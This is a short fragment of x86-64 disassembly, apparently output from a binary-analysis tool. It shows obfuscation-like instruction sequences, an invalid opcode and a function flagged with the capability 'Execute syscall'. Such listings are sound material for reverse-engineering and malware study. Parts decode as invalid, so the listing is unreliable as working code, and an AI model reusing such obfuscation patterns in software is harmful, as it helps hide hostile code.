mov dword [rsp - 0x34], 0x440467f
xchg rdx, rdx
mov dword [rsp - 0x1c], ebp
jmp 0x14001fe58
add eax, 0x149e900
add byte [rax], al
mov dword [rsp - 0x38], ebx
mov dword [rsp - 0x34], 0x59df1ebe
mov dword [rsp - 0x44], 0x79dd82f4
mov dword [rsp - 0x20], 0x60e95844
call fcn.140030f98
lea rcx, [rbp - 8]
jmp 0x14001fbb9
jne 0x14001ff13
je 0x14001ff13
call fcn.140020106
add rsp, 0x4a
jmp 0x14001fd13
mov dword [rsp + 0x28], 0x79003d
mov esi, 0x1a
mov dword [rsp + 0x2c], 0x790021
mov r10d, 0x1855186e
jmp 0x14001ff46
mov rcx, rdi
call fcn.14003cfbc
test al, al
invalid
and al, 0xcc

Function at 0x1400225c8
Capabilities:
Execute syscall

Disassembly:
add eax, dword [rax]
add byte [rcx - 0x280088bb], cl
mov dword [rbp + 0x77], eax
call rdi